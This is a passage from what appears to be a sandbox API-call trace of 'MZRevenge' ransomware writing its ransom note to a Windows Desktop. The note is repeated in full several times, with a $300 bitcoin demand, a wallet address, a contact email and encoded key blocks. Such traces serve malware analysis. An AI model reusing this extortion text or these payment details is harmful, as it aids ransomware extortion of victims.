mb)\r\n1 or 2 file and following special public and private mzrevenge keys produced for you send us\r\nwe will decrypt these files and send it back to you. This is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files. but you need to pay for it and contact us.\r\n\r\n* So what is Bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n\r\nThese are public and private MZREVENGE decryption keys produced for you.\r\nIf these keys are damaged, nobody can recovery your files.\r\n\r\n============================{ PUBLIC MZREVENGE KEY }=============================\r\nMZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=\r\n=================================================================================\r\n\r\n============================{ PRİVATE MZREVENGE KEY }============================\r\n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\r\n=================================================================================\r\n", cchWideChar=5981, lpMultiByteStr=0x24a2f48, cbMultiByte=5981, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="* What happened to my files?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases, and other files are no longer\r\naccessible because they are encrypted. Maybe you're busy finding a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service. However, if you want to use the programs of data recovery companies,\r\nplease do not work on your original files, but make copies of them.\r\nCorruption of the actual files can cause irreversible damage to your data.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nBut for this you need to send $300 worth bitcoins to our address.\r\nEven if you give money, Do not believe the people around you who\r\nsay they will not give your files, I Have Enough Reference To Give You Confidence.\r\nI don't know about you, so there is no point in having bad feelings towards you,\r\ndoing evil to you, my goal is just to earn an income from this business.\r\n\r\n* What about the guarantees?\r\nThis is just a job. We never care about you and your deals.\r\nIf we do not fulfill our work and obligations - no one will cooperate with us.\r\nIf you do not believe us, tell us any 1 or 2 files with SIMPLE extensions\r\n(jpg, xls, doc, etc ... not databases!) And low size (max 1 mb)\r\n1 or 2 file and following special public and private mzrevenge keys produced for you send us\r\nwe will decrypt these files and send it back to you. This is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files. but you need to pay for it and contact us.\r\n\r\n* So what is Bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n\r\nThese are public and private MZREVENGE decryption keys produced for you.\r\nIf these keys are damaged, nobody can recovery your files.\r\n\r\n============================{ PUBLIC MZREVENGE KEY }=============================\r\nMZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=\r\n=================================================================================\r\n\r\n============================{ PRIVATE MZREVENGE KEY }============================\r\n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\r\n=================================================================================\r\n", lpUsedDefaultChar=0x0) returned 5981 [0217.762] WriteFile (in: hFile=0x32c, lpBuffer=0x24a2f48*, nNumberOfBytesToWrite=0x175d, lpNumberOfBytesWritten=0x19fd14, lpOverlapped=0x0 | out: lpBuffer=0x24a2f48*, lpNumberOfBytesWritten=0x19fd14*=0x175d, lpOverlapped=0x0) returned 1 [0217.764] CloseHandle (hObject=0x32c) returned 1 [0217.764] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x19fba4, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 1 [0217.764] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0217.764] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x19fba4, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 1 [0217.764] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\How Do I Recover My Files (Readme).txt" (normalized: "c:\\users\\fd1hvy\\desktop\\how do i recover my files (readme).txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x32c [0217.765] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="* What happened to my files?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases, and other files are no longer\r\naccessible because they are encrypted. Maybe you're busy finding a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service. However, if you want to use the programs of data recovery companies,\r\nplease do not work on your original files, but make copies of them.\r\nCorruption of the actual files can cause irreversible damage to your data.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nBut for this you need to send $300 worth bitcoins to our address.\r\nEven if you give money, Do not believe the people around you who\r\nsay they will not give your files, I Have Enough Reference To Give You Confidence.\r\nI don't know about you, so there is no point in having bad feelings towards you,\r\ndoing evil to you, my goal is just to earn an income from this business.\r\n\r\n* What about the guarantees?\r\nThis is just a job. We never care about you and your deals.\r\nIf we do not fulfill our work and obligations - no one will cooperate with us.\r\nIf you do not believe us, tell us any 1 or 2 files with SIMPLE extensions\r\n(jpg, xls, doc, etc ... not databases!) And low size (max 1 mb)\r\n1 or 2 file and following special public and private mzrevenge keys produced for you send us\r\nwe will decrypt these files and send it back to you. This is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files. but you need to pay for it and contact us.\r\n\r\n* So what is Bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n\r\nThese are public and private MZREVENGE decryption keys produced for you.\r\nIf these keys are damaged, nobody can recovery your files.\r\n\r\n============================{ PUBLIC MZREVENGE KEY }=============================\r\nMZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=\r\n=================================================================================\r\n\r\n============================{ PRİVATE MZREVENGE KEY }============================\r\n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\r\n=================================================================================\r\n", cchWideChar=5981, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5981 [0217.765] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="* What happened to my files?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases, and other files are no longer\r\naccessible because they are encrypted. Maybe you're busy finding a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service. However, if you want to use the programs of data recovery companies,\r\nplease do not work on your original files, but make copies of them.\r\nCorruption of the actual files can cause irreversible damage to your data.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nBut for this you need to send $300 worth bitcoins to our address.\r\nEven if you give money, Do not believe the people around you who\r\nsay they will not give your files, I Have Enough Reference To Give You Confidence.\r\nI don't know about you, so there is no point in having bad feelings towards you,\r\ndoing evil to you, my goal is just to earn an income from this business.\r\n\r\n* What about the guarantees?\r\nThis is just a job. We never care about you and your deals.\r\nIf we do not fulfill our work and obligations - no one will cooperate with us.\r\nIf you do not believe us, tell us any 1 or 2 files with SIMPLE extensions\r\n(jpg, xls, doc, etc ... not databases!) And low size (max 1 mb)\r\n1 or 2 file and following special public and private mzrevenge keys produced for you send us\r\nwe will decrypt these files and send it back to you. This is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files. but you need to pay for it and contact us.\r\n\r\n* So what is Bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n\r\nThese are public and private MZREVENGE decryption keys produced for you.\r\nIf these keys are damaged, nobody can recovery your files.\r\n\r\n============================{ PUBLIC MZREVENGE KEY }=============================\r\nMZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=\r\n=================================================================================\r\n\r\n============================{ PRİVATE MZREVENGE KEY 